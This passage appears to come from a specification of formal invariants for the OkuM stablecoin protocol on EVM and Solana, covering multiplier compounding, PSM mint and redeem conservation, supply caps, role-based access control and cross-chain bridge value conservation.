INV-62	`uiMultiplier` equals `okuMMultiplier`; while a yielding successor is staged and `okuMRateEnd` has not been reached, `effectiveAt` equals `okuMRateEnd` and `newUIMultiplier` equals the `okuMMultiplier` a read at timestamp `effectiveAt` will return absent further schedule writes; otherwise `effectiveAt` is zero and `newUIMultiplier` equals `uiMultiplier`
INV-63	Every `setOkuMMultiplier` emits `UIMultiplierUpdated` with the multiplier before and after the jump, every re-anchor emits it with old and new both equal to the multiplier at the write, and every write that replaces or clears a staged, not yet active yielding successor emits `UIMultiplierUpdateCancelled` with the multiplier that successor projected at `okuMRateEnd`
INV-172	For every `block.timestamp` t that is not a segment boundary, `okuMEffectiveRatePerSecond` equals the per-second rate the schedule applies to `okuMMultiplier` between t and t + 1, before the 1e24 clamp: `okuMRatePerSecond` up to `okuMRateEnd`, then `okuMPendingRatePerSecond` up to `okuMPendingRateEnd`, then 1e18 once both have passed or while halted

8.2.6 MathLib conversions and compounding

ID	Property
INV-64	For every rate in [1e18, 1e18 + 1e11], base in [1e18, 1e24] and n from 0 to 90 days in seconds, `compoundFor(base, rate, n)` returns a value at least base and at most 1e24 that is non-decreasing in n and in rate, with `compoundFor(base, rate, 0)` and `compoundFor(base, 1e18, n)` both equal to base; for a longer n it either returns such a value or reverts on the documented intermediate `rpow` overflow, never returning a wrapped value
INV-65	`computeMultiplier` is non-decreasing in `nowTs` for every schedule the OkuMoney writers can produce, including across `rateEnd` and `pendingRateEnd`, and equals `base` when `nowTs` equals `anchor`
INV-66	`rpow(x, n, 1e18)` either returns xˆn / 1e18ˆ(n - 1) with half-up rounding at each step or reverts, never returning a value wrapped by overflow; it returns 1e18 for n = 0 and x for n = 1, and does not revert for x <= 1e18 + 1e11 and n up to 90 days in seconds
INV-67	Whenever the exact results fit `uint256`, `okuMToDollars`, `dollarsToOkuM` and `dollarsToUsdc` each return the floor of the exact rational conversion, so, wherever every intermediate result fits `uint256`, `dollarsToOkuM(okuMToDollars(x, m), m)` <= x and `okuMToDollars(dollarsToOkuM(v, m), m)` <= v for every m >= 1e18, and `usdcToDollars(dollarsToUsdc(v, D), D)` <= v and exceeds v - D, where D = 10ˆ(18 - d) for reserve decimals d <= 18

8.2.7 Reentrancy and override-block guards

ID	Property
INV-68	In the block in which `OkuMoneyRateSchedule::setOkuMMultiplier` executes, every `LitePSM::mintOkuM, redeemOkuM, mintUsdOku, redeemUsdOku, depositBuffer, withdrawUsdc` call and every `OkuDollar::wrap, unwrap, deposit, mint, withdraw, redeem` call ordered after it reverts, while OkuM and UsdOku transfers are unaffected (calls ordered before it in the same block, and a mint before it with a redeem in a later block, are the documented forward-only residual)
INV-69	On every deployment chain, including Arbitrum One where `block.number` reports an estimate of the parent-chain block number, the override lock covers only the chain's own block containing `OkuMoneyRateSchedule::setOkuMMultiplier`, so guarded `LitePSM` and `OkuDollar` paths succeed again from the chain's next block
INV-70	No reserve, OkuM or UsdOku transfer made during a `LitePSM` or `OkuDollar` call can re-enter any `nonReentrant` entry point of the same contract before the outer call completes, and the guard returns to not-entered after every call (`LitePSM::withdrawUsdc`, a role-gated call whose single reserve transfer is its last step, is unguarded by design)

8.2.8 PSM vault backing and conversions

ID	Property
INV-71	Every successful `lite_psm::mint_oku_m(usdc_amount)` moves exactly `usdc_amount` USDC base units from the caller into `PsmConfig::vault_usdc` and mints to the caller exactly the largest raw OkuM amount `r` with `r * m / 1e18 <= usdc_amount`, where `m` is the canonical multiplier (WAD scale, `1e18` = one USDC base unit per raw OkuM unit, both tokens 6 decimals) computed from the `PsmConfig` rate schedule at the instruction's `Clock::unix_timestamp`; the minted value at `m` therefore never exceeds the USDC paid and falls short of it by less than `m / 1e18` USDC base units

ID	Property
INV-72	Every successful `lite_psm::redeem_oku_m(raw_oku_m_amount, min_usdc_out)` burns exactly `raw_oku_m_amount` from the caller's own OkuM associated token account and pays exactly `floor( raw_oku_m_amount * m / 1e18)` USDC base units from `PsmConfig::vault_usdc` to the caller's USDC associated token account, with `m` the canonical multiplier (WAD) computed from the `PsmConfig` rate schedule at the instruction's `Clock::unix_timestamp`, so the payout never exceeds the exact dollar value of the burned OkuM and falls short of it by less than one USDC base unit
INV-73	Every successful `lite_psm::redeem_oku_m` pays at least `min_usdc_out` and at least `raw_oku_m_amount` USDC base units, because the canonical multiplier is never below `1e18` and OkuM and USDC both have 6 decimals, so a non-zero redeem never pays zero
INV-74	At one canonical multiplier `m` (WAD), a `lite_psm::mint_oku_m` of `u` USDC base units followed by a `lite_psm::redeem_oku_m` of all the raw OkuM it minted returns at most `u` and at least `u - ceil(m / 1e18)` USDC base units, and a redeem of `r` raw OkuM followed by a mint with all the USDC it paid returns at most `r` and at least `r - 1` raw OkuM, so no round trip at a fixed multiplier gains value
INV-75	At one canonical multiplier, splitting a `lite_psm::mint_oku_m` into several calls never yields more total raw OkuM than one call with the summed USDC amount, and splitting a `lite_psm::redeem_oku_m` into several calls never yields more total USDC than one call with the summed raw amount, including calls spread over several slots that share one `Clock::unix_timestamp` second
INV-76	The price `lite_psm::mint_oku_m, redeem_oku_m` apply depends only on the amount and the canonical multiplier: it is independent of the OkuM mint supply, the `PsmConfig::vault_usdc` balance, unsolicited USDC sent to the vault, the `ScaledUiAmount` display value, the caller's identity and the caller's share of supply, so a holder of 95%, 99% or all of OkuM supply receives the same USDC per raw OkuM as any other holder, and a large redeem never worsens the per-unit price of a later redeem at the same multiplier
INV-77	The USDC balance of `PsmConfig::vault_usdc` equals the USDC credited by `lite_psm::mint_oku_m, deposit_buffer` plus any USDC transferred in from outside the program, minus the USDC paid out by `lite_psm::redeem_oku_m, withdraw_buffer`; no other path moves USDC out of the vault
INV-78	USDC leaves `PsmConfig::vault_usdc` only to the redeemer's own USDC associated token account through `lite_psm::redeem_oku_m` or to a USDC account owned by `PsmConfig::buffer_withdrawer` through `lite_psm::withdraw_buffer`, and never while `PsmConfig::is_paused` is true or in the slot recorded in `PsmConfig::last_override_slot`
INV-79	A `lite_psm::redeem_oku_m` whose USDC payout exceeds the vault's USDC balance or falls below `min_usdc_out`, or whose `raw_oku_m_amount` exceeds the caller's OkuM balance, burns nothing and pays nothing, and a `lite_psm::mint_oku_m` whose raw output rounds to zero, or that would exceed `PsmConfig::max_supply` or `PsmConfig::minter_allowance`, takes no USDC and mints nothing
INV-80	Every successful `lite_psm::deposit_buffer(amount)` increases `PsmConfig::vault_usdc` by exactly `amount` USDC base units taken from the `PsmConfig::buffer_depositor` USDC associated token account, and every successful `lite_psm::withdraw_buffer(amount)` decreases the vault by exactly `amount`; neither changes the OkuM supply, any allowance, `PsmConfig::max_supply` or any rate-schedule field

8.2.9 OkuM supply and direct legs

ID	Property
INV-81	The OkuM mint supply (raw units, 6 decimals) increases only through `lite_psm::mint_oku_m`, `mint_oku_m_direct`, each by exactly the raw amount credited to the recipient account, and decreases only through `lite_psm::redeem_oku_m, burn_oku_m_direct`, each by exactly its raw amount argument, or through a holder's own Token-2022 burn; no other instruction or mint extension mints, burns or rescales raw OkuM balances
INV-82	Every successful `lite_psm::mint_oku_m_direct(raw_amount)` is signed by `PsmConfig::direct_minter`, credits exactly `raw_amount` raw OkuM to the recipient's OkuM associated token account, decreases `PsmConfig::direct_minter_allowance` by exactly `raw_amount`, moves no USDC, and leaves `PsmConfig::minter_allowance` and every rate-schedule field unchanged
INV-83	Every successful `lite_psm::burn_oku_m_direct(raw_amount)` is signed by `PsmConfig::direct_burner`, burns exactly `raw_amount` raw OkuM only from an OkuM account owned by that signer, decreases `PsmConfig::direct_burner_allowance` by exactly `raw_amount`, pays out no USDC, and leaves every other allowance and every rate-schedule field unchanged
INV-85	`lite_psm::mint_oku_m_direct` never credits OkuM to a token account owned by the `PsmConfig` PDA or by another token account (such as `PsmConfig::vault_usdc`); the `PsmConfig` PDA and every associated token account have no private key and no lite-psm instruction redeems, burns or moves OkuM they own, so OkuM credited under them would stay stranded while it still counts against `PsmConfig::max_supply`
INV-86	Closing and re-creating its OkuM account across `lite_psm::mint_oku_m_direct` calls never lets a recipient collect native currency paid by `PsmConfig::direct_minter`, so repeated direct mints to one recipient cannot drain the direct minter's native currency
INV-88	While `PsmConfig::direct_minter` is the default pubkey no `lite_psm::mint_oku_m_direct` can succeed, and while `PsmConfig::direct_burner` is the default pubkey no `lite_psm::burn_oku_m_direct` can succeed; whoever holds either role, a zero `PsmConfig::direct_minter_allowance` blocks every further direct mint and a zero `PsmConfig::direct_burner_allowance` blocks every further direct burn

8.2.10 Supply cap and allowances

ID	Property
INV-89	After every instruction the OkuM mint supply in raw units is at most `PsmConfig::max_supply`, and a `lite_psm::mint_oku_m, mint_oku_m_direct` that would take supply above it fails without minting
INV-90	`lite_psm::set_max_supply` never sets `PsmConfig::max_supply` below the OkuM mint supply at that instant, and supply headroom freed by any burn (a redeem, a direct burn or a holder's own Token-2022 burn) is available to the next mint, because the cap is checked against the live mint supply and not a stored counter
INV-91	Each successful `lite_psm::mint_oku_m` decreases `PsmConfig::minter_allowance` by exactly the raw OkuM it mints and no `lite_psm::mint_oku_m` mints more raw OkuM than the allowance remaining before it; `PsmConfig::direct_minter_allowance` bounds `lite_psm::mint_oku_m_direct` and `PsmConfig::direct_burner_allowance` bounds `lite_psm::burn_oku_m_direct` in the same way
INV-92	`lite_psm::mint_oku_m` draws only on `PsmConfig::minter_allowance`, `lite_psm::mint_oku_m_direct` only on `PsmConfig::direct_minter_allowance` and `lite_psm::burn_oku_m_direct` only on `PsmConfig::direct_burner_allowance`, while `lite_psm::redeem_oku_m, deposit_buffer, withdraw_buffer` are gated by no allowance

ID	Property
INV-93	`lite_psm::set_minter_allowance, set_direct_minter_allowance, set_direct_burner_allowance` each leave their allowance exactly equal to the argument (a replacement, not an increment), succeed only when signed by `PsmConfig::allowance_manager`, and remain callable while `PsmConfig::is_paused` is true so an incident can cut any allowance to zero
INV-94	Repeated `lite_psm::mint_oku_m, redeem_oku_m` round trips by one permissionless actor, including one holding all or nearly all OkuM supply, that leave the OkuM mint supply unchanged do not reduce the raw OkuM that other users can still mint through `lite_psm::mint_oku_m`, so no actor can halt PSM minting or the USDC-funded bridge destination leg at the cost of rounding loss alone

8.2.11 Yield schedule and canonical multiplier

ID	Property
INV-95	For any fixed `PsmConfig` rate schedule the canonical multiplier `m(t)` (WAD) is non-decreasing in `t` for every `t` at or after `PsmConfig::okum_last_accrual_time`, and no instruction lowers it: the canonical multiplier at any later instruction's `Clock::unix_timestamp` is at least the canonical multiplier at any earlier one
INV-96	The canonical multiplier and `PsmConfig::okum_base_multiplier` always lie in `[PRECISION, MAX_MULTIPLIER]`, that is between `1e18` (1.0) and `1e24` at WAD scale
INV-97	The canonical multiplier is a pure function of `PsmConfig::okum_base_multiplier, okum_rate_per_second, okum_last_accrual_time, okum_rate_end, okum_pending_rate_per_second, okum_pending_rate_end` and `Clock::unix_timestamp`: it does not depend on the OkuM supply, any token balance, the slot, `PsmConfig::last_override_slot`, the `ScaledUiAmount` display value or the caller
INV-98	`lite_psm::set_okum_yield_rate, set_next_okum_yield_rate, set_okum_yield_rate_with_successor` leave the canonical multiplier at the write instant unchanged (the value computed at the same `Clock::unix_timestamp` before and after the write is equal), so only `lite_psm::set_okum_multiplier` creates a discrete step and no account can profit from a mint just before and a redeem just after a rate write beyond accrual over the seconds elapsed
INV-99	`PsmConfig::okum_rate_per_second, okum_pending_rate_per_second` always lie in `[PRECISION, MAX_RATE]` (WAD per second, `MAX_RATE = 1e18 + 1e11`), and `PsmConfig::okum_rate_end` is zero exactly when `okum_rate_per_second` equals `PRECISION`
INV-100	Whenever `PsmConfig::okum_rate_per_second` exceeds `PRECISION`, `PsmConfig::okum_rate_end` minus `PsmConfig::okum_last_accrual_time` is positive and at most `MAX_RATE_WINDOW_SECONDS` (90 days); whenever `PsmConfig::okum_pending_rate_per_second` exceeds `PRECISION`, `okum_rate_end` is non-zero and `PsmConfig::okum_pending_rate_end` minus `okum_rate_end` is positive and at most `MAX_RATE_WINDOW_SECONDS`
INV-101	For every schedule state the rate writers and `lite_psm::set_okum_multiplier` can produce and every `Clock::unix_timestamp` at or after `PsmConfig::okum_last_accrual_time`, the canonical multiplier evaluates without error however long the schedule is left unattended, so `lite_psm::mint_oku_m, redeem_oku_m`, every rate writer and the emergency override never become permanently uncallable through a multiplier evaluation failure
INV-102	Once `Clock::unix_timestamp` is past both `PsmConfig::okum_rate_end` and any non-zero `PsmConfig::okum_pending_rate_end`, the canonical multiplier stays constant until the next schedule write (an unattended schedule halts rather than compounding), and while `PsmConfig::okum_rate_per_second` equals `PRECISION` the canonical multiplier equals `PsmConfig::okum_base_multiplier` at every instant

ID	Property
INV-103	The canonical multiplier at `PsmConfig::okum_last_accrual_time` equals `PsmConfig::okum_base_multiplier`, and no interval before that instant contributes further compounding, whatever the stored `PsmConfig::okum_rate_end` or successor fields hold
INV-104	A yielding successor armed before `PsmConfig::okum_rate_end` takes effect at that instant with no transaction: the canonical multiplier compounds the active rate up to `okum_rate_end` and the successor rate after it up to `PsmConfig::okum_pending_rate_end`, with no step at the handover beyond one second of compounding
INV-105	`lite_psm::set_next_okum_yield_rate` arms or replaces a successor only while `Clock::unix_timestamp` is before `PsmConfig::okum_rate_end` of a yielding active window, so it never replaces a successor that is already compounding; `lite_psm::set_okum_yield_rate_with_successor` validates its successor against the active window it installs in the same instruction, after re-anchoring any value accrued by a previously compounding successor; and every write by `lite_psm::set_okum_yield_rate` disarms any previously armed successor
INV-106	While `PsmConfig::is_paused` is true, every successful yielding write by `lite_psm::set_okum_yield_rate, set_okum_yield_rate_with_successor` sets an active rate no higher than the effective rate accruing at the write instant and an end no later than the end of the segment accruing it (the effective rate, not the stored `PsmConfig::okum_rate_per_second`, once the stored window has closed), every yielding successor written is no higher in rate and no later in end than the successor it replaces (with none armed only a no-yield successor passes), and a halt always passes, so a paused write can only lower the projected multiplier curve
INV-107	Every successful `lite_psm::set_okum_multiplier(new_multiplier)` is signed by `PsmConfig::rate_manager` while `PsmConfig::is_paused` is false, requires `new_multiplier` strictly above the canonical multiplier at that instant and at most `MAX_MULTIPLIER`, and leaves the canonical multiplier equal to `new_multiplier` at every later instant until the next schedule write, with the active rate and any successor halted
INV-108	`PsmConfig::last_override_slot` changes only through `lite_psm::set_okum_multiplier`, which sets it to the current slot; no rate writer, `lite_psm::sync_display_multiplier` or other instruction engages the lock, and none of `lite_psm::mint_oku_m, redeem_oku_m, mint_oku_m_direct, burn_oku_m_direct, deposit_buffer, withdraw_buffer` succeeds in the recorded slot, so no account can transact at both the pre-override and the post-override multiplier within that slot, and from the next slot on the recorded override no longer blocks them
INV-176	`PsmConfig::okum_base_multiplier, okum_rate_per_second, okum_last_accrual_time, okum_rate_end, okum_pending_rate_per_second, okum_pending_rate_end` change only through `lite_psm::set_okum_yield_rate, set_next_okum_yield_rate, set_okum_yield_rate_with_successor, set_okum_multiplier` signed by `PsmConfig::rate_manager`, apart from `lite_psm::initialize`, which starts a halted schedule at `PRECISION`, so no mint, redeem, direct mint, direct burn, token transfer or holder burn by any account, whatever its share of OkuM supply, changes the canonical multiplier
INV-174	Every successful `lite_psm::set_okum_yield_rate, set_next_okum_yield_rate, set_okum_yield_rate_with_successor, set_okum_multiplier` that discards or replaces a yielding successor whose activation at `PsmConfig::okum_rate_end` is still in the future emits `PendingRateCancelled` with `PendingRateCancelled::cancelled_rate, cancelled_pending_rate_end` equal to the discarded successor and `PendingRateCancelled::timestamp` equal to the instruction's `Clock::unix_timestamp`, while a successor already compounding is not reported as cancelled

8.2.12 Display mirror

ID	Property
INV-109	For every reachable canonical multiplier in `[PRECISION, MAX_MULTIPLIER]`, the `ScaledUiAmount` multiplier stored on the OkuM mint (an `f64` where 1.0 equals `PRECISION`) never exceeds the canonical multiplier divided by `1e18` at any instant at or after its write, exactly and with no tolerance
INV-110	Every write of the display mirror, by `lite_psm::sync_display_multiplier, set_okum_multiplier`, sets both the current and the next `ScaledUiAmount` multiplier to `display_sync::multiplier_to_f64_floor` of the canonical multiplier at the write instant, effective at that instant with no future-dated step, so a later rate decrease or halt can never lift the displayed multiplier above canonical, and `lite_psm::set_okum_multiplier` fails with no state change if the mirror update fails
INV-111	`lite_psm::sync_display_multiplier` is callable by anyone, changes no `PsmConfig` field other than `PsmConfig::last_display_sync_ts`, changes no token balance or supply, and succeeds for every reachable canonical multiplier
INV-112	`display_sync::multiplier_to_f64_floor(m)` returns, for every `m` in `[PRECISION, MAX_MULTIPLIER]`, a positive normal `f64` value `f` with `f * 1e18 <= m` in exact arithmetic and a relative shortfall `(m / 1e18 - f) / (m / 1e18)` below `1e-15`
INV-179	Within the current production domain, including raw balances up to the `1e15` deployment cap, Token-2022's final `amount_to_ui_amount()` display does not exceed the PSM redemption value computed by `raw_to_dollars()` at the same canonical multiplier (issue #23 — Token-2022 display rounding)

8.2.13 Access control, pause and freeze

ID	Property
INV-113	Each role-gated instruction succeeds only when signed by the key currently stored in its role field: `lite_psm::pause` by `PsmConfig::pauser`, `lite_psm::unpause` by `PsmConfig::unpauser`, `lite_psm::freeze_account` by `PsmConfig::freezer`, `lite_psm::thaw_account` by `PsmConfig::unfreezer`, `lite_psm::deposit_buffer` by `PsmConfig::buffer_depositor`, `lite_psm::withdraw_buffer` by `PsmConfig::buffer_withdrawer`, `lite_psm::set_max_supply` by `PsmConfig::cap_manager`, the three allowance setters by `PsmConfig::allowance_manager`, the three rate writers and `lite_psm::set_okum_multiplier` by `PsmConfig::rate_manager`, `lite_psm::mint_oku_m_direct` by `PsmConfig::direct_minter`, `lite_psm::burn_oku_m_direct` by `PsmConfig::direct_burner`, and `lite_psm::set_authority, cancel_role_admin_transfer` by `PsmConfig::role_admin`
INV-114	`PsmConfig::role_admin` changes only through `lite_psm::accept_role_admin` signed by the non-default key in `PsmConfig::pending_role_admin`, which then resets `pending_role_admin` to the default pubkey; `lite_psm::set_authority` for the role-admin role only writes `pending_role_admin`, and `lite_psm::cancel_role_admin_transfer` only clears it
INV-115	`lite_psm::initialize` makes its signing upgrade authority `PsmConfig::role_admin`, requires each of the nine granular authorities it sets (`PsmConfig::pauser, unpauser, freezer, unfreezer, buffer_depositor, buffer_withdrawer, cap_manager, allowance_manager, rate_manager`) to be non-default and different from that signer, and leaves `PsmConfig::direct_minter, direct_burner, pending_role_admin` at the default pubkey (the direct roles disabled until first assigned); `lite_psm::set_authority` never writes `pending_role_admin`, or a role field other than `PsmConfig::direct_minter, direct_burner`, to the default pubkey, and never writes any role field or `pending_role_admin` to a key equal to `PsmConfig::role_admin` at the time of writing

ID	Property
INV-116	`PsmConfig::is_paused` changes only through `lite_psm::pause` (false to true) and `lite_psm::unpause` (true to false); while it is true `lite_psm::mint_oku_m, redeem_oku_m, mint_oku_m_direct, burn_oku_m_direct, deposit_buffer, withdraw_buffer, set_okum_multiplier` all fail and rate writes may only lower the projected curve, while `lite_psm::freeze_account, thaw_account` and the allowance setters remain available, and `lite_psm::pause` is never blocked by the override slot
INV-117	`lite_psm::freeze_account, thaw_account` act only on token accounts of `PsmConfig::oku_m_mint`, and while an OkuM account is frozen it can be neither the destination of `lite_psm::mint_oku_m, mint_oku_m_direct` nor the source of `lite_psm::redeem_oku_m, burn_oku_m_direct`, a Token-2022 transfer or an owner reassignment; the freeze covers that one account, not its owner's other OkuM accounts, as documented

8.2.14 Account and PDA integrity

ID	Property
INV-118	Exactly one `PsmConfig` account exists, at the PDA of seed `psm_config` with the stored `PsmConfig::bump`, and every lite-psm instruction reads and writes only that account as its configuration
INV-119	`lite_psm::initialize` succeeds at most once, only when signed by the upgrade authority recorded in this program's own `ProgramData` account, makes that signer `PsmConfig::role_admin`, and accepts as `PsmConfig::usdc_mint` only a classic SPL Token mint with `USDC_DECIMALS` (6) decimals, the mint's identity being that signer's choice
INV-120	No third party can prevent `lite_psm::initialize` from succeeding for the upgrade authority by creating beforehand any account `lite_psm::initialize` needs, such as the `PsmConfig` PDA's USDC associated token account
INV-121	`PsmConfig::usdc_mint, oku_m_mint, vault_usdc` are fixed at `lite_psm::initialize` and never change, `vault_usdc` is the SPL Token associated token account of the `PsmConfig` PDA for `usdc_mint`, and every instruction that moves USDC or mints, burns, freezes or re-displays OkuM accepts only these recorded accounts
INV-122	The OkuM mint's mint authority, freeze authority, `ScaledUiAmount` authority, metadata-pointer authority and metadata update authority are the `PsmConfig` PDA from `lite_psm::initialize` onward and no lite-psm instruction changes them, and the mint carries only the `ScaledUiAmount`, `MetadataPointer` and `TokenMetadata` extensions, so no transfer fee, permanent delegate, transfer hook or interest-bearing extension can change balances or supply outside the program's paths
INV-123	The OkuM mint has `TOKEN_DECIMALS` (6) decimals and the recorded USDC mint has `USDC_DECIMALS` (6) decimals for the life of the program, and every USDC transfer lite-psm makes is checked against `USDC_DECIMALS`
INV-124	`lite_psm::mint_oku_m` takes USDC only from an account the signing caller owns and credits OkuM only to the caller's own OkuM associated token account, `lite_psm::redeem_oku_m` burns only from the caller's own OkuM associated token account and pays only into the caller's USDC associated token account, and no instruction moves a user's OkuM or USDC without that user's signature
INV-125	`PsmConfig` occupies exactly 754 bytes, an 8-byte discriminator followed by its fields in declaration order and ending with the 128-byte `PsmConfig::reserved` tail, so a later program version that adds fields by consuming `reserved` from the front relocates none of the rate schedule, roles or limits of the deployed singleton

ID	Property
INV-126	`MintEvent::new_total_supply`, `RedeemEvent::new_total_supply`, `DirectMintEvent::new_total_supply` and `DirectBurnEvent::new_total_supply` equal the OkuM mint supply immediately after the emitting instruction, `MintEvent::multiplier` and `RedeemEvent::multiplier` equal the canonical multiplier the instruction priced at, and `BufferDepositEvent::new_buffer_balance` and `BufferWithdrawEvent::new_buffer_balance` equal the `PsmConfig::vault_usdc` balance immediately after the instruction

8.2.15 Shared fixed-point and schedule math

ID	Property
INV-127	For every `u128` pair `(a, b)`, `wad::mul_div_wad_floor, mul_div_wad_half_up` return respectively `floor(a * b / 1e18)` and `floor((a * b + 5e17) / 1e18)`, using the full 256-bit product; each returns a value exactly when its own rounded result fits `u128`, and `None` otherwise
INV-128	`wad::mul_div_floor_u128_narrow(a, b, d)` returns exactly `floor(a * b / d)` whenever `d` is non-zero and `a * b` fits `u128` and `None` otherwise, and every caller's operands (a `u64` amount times `PRECISION`) satisfy that precondition
INV-129	`oku_shared::math::dollars_to_raw(d, m)` returns `floor(d * 1e18 / m)` and `oku_shared::math::raw_to_dollars(r, m)` returns `floor(r * m / 1e18)` for every `u64` amount and every multiplier `m` in `[PRECISION, MAX_MULTIPLIER]`, both rounding toward the protocol, returning `None` only when the result exceeds `u64` (or, for `oku_shared::math::dollars_to_raw`, when `m` is zero) and never wrapping or panicking
INV-130	`rate::rpow(x, n)` returns `PRECISION` when `n` is zero and for every `n` when `x` equals `PRECISION`; for `x >= PRECISION` every value it returns is at least `PRECISION` and non-decreasing in `n` wherever both values are defined, it returns `None` rather than a wrapped value on overflow, and for `x` in `[PRECISION, MAX_RATE]` and `n` up to `MAX_RATE_WINDOW_SECONDS` it always returns a value
INV-131	`rate::compound_for(base, rate, elapsed)` returns `base` when `elapsed` is zero; for `PRECISION <= base <= MAX_MULTIPLIER`, `PRECISION <= rate <= MAX_RATE` and `elapsed` at most `MAX_RATE_WINDOW_SECONDS` it returns a value between `base` and `MAX_MULTIPLIER` inclusive that is non-decreasing in `elapsed`, and for every other input with non-zero `elapsed` it returns either a value at most `MAX_MULTIPLIER` or `None`, never a wrapped value
INV-132	`rate::compute_multiplier` never panics for any `i64` timestamps and `u128` inputs, and returns `None` rather than a value for any negative timestamp, for a current time before the anchor while the active window is open, and for an out-of-domain `rate::rpow`
INV-133	For every instant `t` at or after `Schedule::last_accrual_time` that is not a segment boundary, `Schedule::effective_segment(t)` reports the rate at which `rate::compute_multiplier` compounds between `t` and `t + 1` before the `MAX_MULTIPLIER` clamp and the instant that segment stops compounding: the active rate and `Schedule::rate_end` up to `rate_end`, then the successor rate and `Schedule::pending_rate_end` up to `pending_rate_end`, then `(PRECISION, 0)`

8.2.16 Cross-stack conservation

ID	Property
INV-134	On the reserve-mediated routes (EVM to EVM and EVM to SVM, with the destination mint funded with no more reserve than the source redeem paid, and SVM to EVM, with the destination mint funded with no more reserve than the dollar value, at the source multiplier, of the OkuM `direct_burn::burn_oku_m_direct` burned), the destination never credits more dollar value than the source destroyed: `dollars_received_B <= dollars_redeemed_A`, where an OkuM amount `x` on a chain whose OkuM has `d` decimals (18 on EVM, 6 on SVM) is worth `x * m / (1e18 * 10^d)` dollars at that chain's multiplier `m` when the leg executes, and one whole reserve token counts as one dollar; this holds whatever the delay between the legs and whatever divergence exists between the two chains' multipliers (the SVM to SVM route conserves raw OkuM rather than dollar value, as documented)
INV-135	On the reserve-mediated routes with the same reserve token on both legs (EVM to EVM via `LitePSM::redeemOkuM` then `LitePSM::mintOkuM`, and EVM to SVM via `redeemOkuM` then `psm::mint_oku_m`, each destination mint funded with exactly the reserve the source redeem paid; and SVM to EVM via `direct_burn::burn_oku_m_direct` then `mintOkuM`, or `LitePSM::mintUsdOku` when the user takes usdOku, funded with the burned OkuM's dollar value at the source multiplier rounded down to whole reserve units, the usdOku's internal shares valued at `m_B` like the OkuM wrapped into them), `dollars_redeemed_A - dollars_received_B` is strictly less than one smallest unit of the reserve (1e-6 dollars for a 6-decimal reserve, 1e-18 dollars for an 18-decimal reserve) plus `ceil(m_B / 1e18)` smallest units of the destination OkuM's dollar scale (`ceil(m_B / 1e18) * 1e-18` dollars on an EVM destination, `ceil(m_B / 1e18) * 1e-6` dollars on SVM), with `m_B` the destination multiplier at the mint; a reserve transfer fee and any off-chain conversion between differing reserves are losses outside this bound
INV-136	On the SVM to SVM route the raw OkuM minted by `direct_mint::mint_oku_m_direct` on the destination equals the raw OkuM burned by `direct_burn::burn_oku_m_direct` on the source exactly, with no reserve and no multiplier conversion on either leg, so the route conserves dollar value exactly whenever both chains hold identical schedule state and are evaluated at the same timestamp
INV-139	On either stack, a PSM mint followed on the same chain by a PSM redeem of exactly the OkuM it minted, at the same multiplier `m`, returns no more reserve than the PSM received, and the shortfall is strictly less than one smallest reserve unit plus the dollar value of one smallest OkuM unit at `m` (a reserve issuer's transfer fee, as documented on EVM, is an additional loss outside this bound)
INV-141	On both stacks a PSM redeem that the reserve buffer cannot cover reverts with no OkuM burned and no reserve moved, so a bridge whose source leg fails this way has moved no value on either chain
INV-142	Splitting one bridge on a reserve-mediated route (EVM to EVM, EVM to SVM or SVM to EVM) with the same reserve token on both legs, no reserve transfer fee and no off-chain reserve conversion into several smaller bridges at the same source and destination multipliers, each destination mint funded with exactly the reserve its source redeem paid or, from an SVM source, with the burned OkuM's dollar value at the source multiplier rounded down to whole reserve units, never yields more total destination dollar value than the single bridge funded the same way
INV-143	The bridge conservation bound applies per transfer and does not grow with the amount bridged, so a single holder owning 95% to 99% or more of a chain's OkuM supply gains no dollar value by bridging all of it, in one transfer or many, over a reserve-mediated route, and on every route a leg that one of its controls stops (the source buffer, or `PsmConfig::direct_burner_allowance` on an SVM source; the destination minter allowance, or `PsmConfig::direct_minter_allowance` on an SVM to SVM destination; the destination supply cap; or that leg's role, pause, blacklist, freeze and override-lock checks) fails on its own leg without that leg moving value

ID	Property
INV-144	Every on-chain bridge leg changes its chain's OkuM total supply by exactly the amount it burns or mints (`OkuMoney` total supply on EVM, the Token-2022 mint supply on SVM), and no leg mints OkuM except against reserve received by the PSM or, on SVM, against unspent `PsmConfig::direct_minter_allowance`
INV-145	OkuM amounts never cross stacks by raw count: one EVM smallest unit is 1e-18 OkuM and one SVM raw unit is 1e-6 OkuM, so at equal multipliers an EVM amount `a` and an SVM amount `r` are of equal dollar value exactly when `a = r * 1e12`, and every EVM to SVM or SVM to EVM transfer moves value through dollar value rather than by copying a raw amount between the stacks

8.2.17 Cross-stack multiplier parity

ID	Property
INV-146	For identical six-field schedule state (base multiplier, active rate, anchor, rate end, pending rate, pending rate end, compared as integers) and an identical evaluation timestamp, `OkuMoneyRateSchedule::okuMMultiplier` at that `block.timestamp` and `multiplier::at` at that `Clock::unix_timestamp` return the same 1e18-scaled integer, including at timestamps equal to the anchor, the rate end or the pending rate end, for every schedule either stack's writers can produce; beyond that domain SVM may fail where EVM still returns a value (an intermediate `rpow` quotient, or the compounded product before the 1e24 clamp, exceeding `u128`), EVM never reverts where SVM returns a value, and the two never return two different values
INV-147	`MathLib::rpow` with base 1e18 and `rate::rpow` return the same integer for every `(x, n)` for which `rate::rpow` returns a value, with the same half-up rounding of every product, and `MathLib::compoundFor` and `rate::compound_for` return the same integer, including the clamp at 1e24, wherever the SVM result is defined
INV-148	For equal amount and multiplier, `MathLib::okuMToDollars, dollarsToOkuM` and `oku_shared::math::raw_to_dollars, dollars_to_raw` return the same integer whenever the SVM result fits `u64`, both rounding down in favour of the protocol
INV-149	The shared constants agree across stacks: `Constants::PRECISION` and `constants::PRECISION` both equal 1e18, `Constants::MAX_RATE` and `constants::MAX_RATE` both equal 1e18 + 1e11, `Constants::MAX_MULTIPLIER` and `constants::MAX_MULTIPLIER` both equal 1e24, `Constants::MAX_RATE_WINDOW` and `constants::MAX_RATE_WINDOW_SECONDS` both equal 7,776,000 seconds (90 days), and both stacks use 1e18 as the no-yield and none-armed rate; OkuM decimals are the documented exception (18 on EVM, 6 on SVM, with SVM USDC fixed at 6)
INV-153	Every chain holding identical schedule state returns the same multiplier at an identical evaluation timestamp. Agreement at the same wall-clock second additionally requires chain timestamps to remain aligned; EVM L2 timestamp lag (issue #3 — L2 timestamp lag) and SVM `Clock::unix_timestamp` lag are documented exceptions
INV-155	Staging the same successor (rate and pending end) on chains with identical schedule state at different seconds before the rate end leaves their six-field schedule states identical on both stacks, leaves every chain's multiplier unchanged at every timestamp up to the rate end, and makes the successor take over at the same absolute rate end on every chain
